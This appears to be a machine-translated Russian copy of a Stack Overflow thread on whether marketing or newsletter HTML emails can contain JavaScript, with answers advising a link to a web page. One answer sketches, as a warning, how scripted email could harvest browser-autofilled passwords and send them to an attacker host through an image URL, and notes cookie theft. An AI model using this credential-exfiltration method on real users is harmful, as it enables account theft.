Возможно ли / рекомендуется отправлять электронные письма в формате HTML, содержащие Javascript?

Это в основном риторический вопрос, насколько я проверил, ответ «даже не беспокойтесь», но я хотел быть действительно уверенным.

У нас есть приложение электронной почты, где вы можете отправлять электронные письма спискам подписчиков. Это не спам: его использует, например, университет для рассылки сообщений своим студентам, музей для рассылки электронных писем подписчикам и т. д.

Недавно потенциальный клиент спросил меня, можно ли отправлять html-сообщения, содержащие javascript, не помечая их как спам.

Не зная, я пробежался по сети, и вот что у меня есть (в процентах от моего апостериорного) «половина клиентов не будут отображаться должным образом», «половина клиентов пометят вас как спам» и «половина клиентов клиенты вообще заблокируют javascript» (явно есть какая-то суперпозиция).

Таким образом, лучшим решением кажется добавление ссылки на нужную страницу, если это действительно необходимо. У вас есть другой опыт? Знаете ли вы какое-либо решение для слияния электронной почты, которое предоставляет эту функцию? Вы знаете, принимают ли его определенные клиенты или отказываются отображать html с javascript?


person Community    schedule 18.02.2009    source источник
comment
На самом деле я написал этот вопрос для того, чтобы контент был доступен здесь, на SO, должен признать.   -  person Adriano Varoli Piazza    schedule 18.02.2009
comment
Вы охватили все 3 половины :D   -  person Eoin    schedule 06.07.2016


Ответы (5)


Вы привели правильные аргументы против использования javascript в электронных письмах. Они показывают вам, что это плохая идея. Ссылка на страницу, где вы можете свободно использовать javascript, является хорошим вариантом и позволяет пользователю решать, хочет ли он и когда он хочет получить доступ к этому «расширенному» контенту.

person Community    schedule 18.02.2009
comment
именно, пусть пользователь решает, дайте подписчикам возможность получить текстовую версию или тяжелую версию javascript. - person z -; 18.02.2009
comment
согласна. причины, которые вы перечислили, велики, так что скажите им нет или теоретически да, но это худшая идея в мире, вот почему.... - person jacobangel; 18.02.2009

Проблема JavaScript в том, что он представляет угрозу безопасности. Если есть какой-либо почтовый клиент, который его принимает, то, скорее всего, это уязвимость системы безопасности, и ее следует исправить.

Так что, действительно, «даже не заморачивайтесь», потому что даже если это и работает, то скоро перестанет работать.

РЕДАКТИРОВАТЬ: некоторые люди, кажется, не понимают, почему это угроза безопасности, поэтому я объясню.

Рассмотрим следующий код (один из нескольких способов кражи паролей с использованием Javascript и небезопасных почтовых клиентов).

Использование JavaScript:

  1. Создайте форму с полями ввода «имя пользователя» и «пароль».
  2. Пусть браузер автоматически запоминает содержимое этих полей (несколько пользователей сохраняют имя пользователя и пароль в памяти браузера, чтобы не вводить и не запоминать их каждый раз.
  3. Как только оба поля (автоматически) заполнены, отправьте их содержимое на свой веб-сайт, используя что-то вроде <img src="badsite.com/senddata?username=user&password=pass">.
  4. Поздравляем! Вы украли пароль!

Обычно простое создание формы с использованием JavaScript на вашем собственном небезопасном веб-сайте само по себе не является вредным, потому что браузер достаточно умен, чтобы передавать данные gmail только в gmail (и вы обычно не пытаетесь украсть пароли со своего собственного веб-сайта, а в в этом случае в любом случае были бы более простые способы украсть их).

Однако, если вы разрешите JavaScript в электронных письмах, браузер не сможет отделить законный JavaScript от небезопасного кода.

Кража файлов cookie также возможна, если почтовый клиент не может фильтровать JavaScript.

person Community    schedule 18.02.2009
comment
Не обязательно. Наличие Javascript в браузерах не является уязвимостью, зачем ему быть в электронных письмах? - person Georg Schölly; 18.02.2009
comment
Потому что JavaScript в электронных письмах сможет, например, получить файлы cookie электронной почты для паролей и отправить их на другой сайт. - person luiscubal; 18.02.2009

Поскольку спам является такой большой проблемой, я бы придерживался отправки простых электронных писем, которые легко потребляются. Вы всегда можете сослаться на веб-страницу, на которой есть ваш javascript. Вы также можете отправить параметр строки запроса в URL-адрес, чтобы отслеживать пользователей, которые больше всего заинтересованы в ваших электронных письмах, потому что это скажет вам, что они нажимают на них. Так что, хотя это возможно, лучше всего этого избегать.

person Community    schedule 18.02.2009

да можно, но не рекомендуется. в целях безопасности большая часть программного обеспечения для управления почтой блокирует js или выдает предупреждение, если он включает js. если пользователь строг к спаму, то эти письма тоже попадают в спам.

person Community    schedule 20.05.2010

Это ЯВЛЯЕТСЯ уязвимостью в браузерах, если электронная почта ссылается на клиента, у которого кешированы ваше имя пользователя и пароль ... Электронные письма обычно открываются в браузерах ...

person Community    schedule 16.01.2013